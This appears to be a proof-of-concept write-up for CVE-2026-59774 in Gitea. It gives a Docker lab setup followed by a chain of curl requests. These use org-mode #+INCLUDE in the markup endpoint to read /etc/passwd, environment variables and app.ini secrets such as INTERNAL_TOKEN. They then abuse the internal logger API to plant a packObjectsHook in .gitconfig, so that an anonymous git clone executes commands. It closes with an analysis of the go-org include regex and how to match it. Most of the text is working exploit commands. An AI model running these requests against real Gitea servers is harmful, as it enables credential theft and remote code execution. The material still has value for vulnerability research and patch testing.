
CVE-2026-59774
git clone https://github.com/FlowerWitch/CVE-2026-59774_docker
cd ./CVE-2026-59774_docker
docker compose up -d
Access gitea
new repository defaults to public, no other configuration needed
curl -X POST "http://localhost:3000/{username}/{repo}/markup" \
-H "Content-Type: application/json" \
-d '{
"Mode": "file",
"FilePath": "poc.org",
"Text": "#+INCLUDE: \"/etc/passwd\" src 123\n",
"Context": "/admin/poc/src/main/"
}'
GITEA_CUSTOM field in /proc/self/environ, obtain the location where the gitea data is storedcurl -sX POST "http://localhost:3000/admin/poc/markup" -H "Content-Type: application/json" \
-d '{
"Mode": "file",
"FilePath": "poc.org",
"Text": "#+INCLUDE: \"/proc/self/environ\" src 123\n",
"Context": "/admin/poc/src/main/"
}'|grep 'GITEA_CUSTOM='
{GITEA_CUSTOM}/conf/app.ini to obtain the INTERNAL_TOKEN and APP_DATA_PATH fieldscurl -sX POST "http://localhost:3000/{username}/{repo_name}/markup" -H "Content-Type: application/json" \
-d '{
"Mode": "file",
"FilePath": "poc.org",
"Text": "#+INCLUDE: \"{GITEA_CUSTOM}/conf/app.ini\" src 123\n",
"Context": "/admin/poc/src/main/"
}'|grep -E 'INTERNAL_TOKEN|APP_DATA_PATH'
Mode is File, it appends to a local file (creating the corresponding directory if the target does not exist). At the same time, when its logger field is router, executing it triggers a log entry, and the output is much better than default (because it doesn't add line breaks XD). Through arbitrary writes via the former, add the packObjectsHook field to gitea's .gitconfig to achieve command execution triggered by an anonymous clone.curl -vX POST http://localhost:3000/api/internal/manager/add-logger \
-H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
-H "Content-Type: application/json" \
-d '{
"Logger": "router",
"Writer": "pwnhook",
"Mode": "file",
"Config":{
"filename": "{APP_DATA_PATH}/home/.gitconfig",
"flags": "none",
"prefix": "[uploadpack]\n packObjectsHook = id > /tmp/pwned ;#",
"level": "Info",
"rotate": false
}
}'
logger and writer mentioned above.curl -vX POST /api/internal/manager/remove-logger/{Logger}/{Writer} \
-H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
git clone triggers command executionIn go-org 1.9.1, the parseInclude function contains a regex filter rule includeFileRegexp; only a match allows entry into the subsequent functions.
func (d *Document) parseInclude(k Keyword) (int, Node) {
resolve := func() Node {
d.Log.Printf("Bad include %#v", k)
return k
}
if m := includeFileRegexp.FindStringSubmatch(k.Value); m != nil { # <--这里施加了 includeFileRegexp 过滤
path, kind, lang := m[1], m[2], m[3]
if !filepath.IsAbs(path) {
path = filepath.Join(filepath.Dir(d.Path), path)
}
includeFileRegexp matching conditions are as follows
var includeFileRegexp = regexp.MustCompile(`(?i)^"([^"]+)" (src|example|export) (\w+)$`)
Thus, a payload such as "#+INCLUDE: \"/etc/passwd\"\n" cannot be matched normally; the construction must conform to the expression, for example:
"#+INCLUDE: \"/etc/passwd\" src 123\n"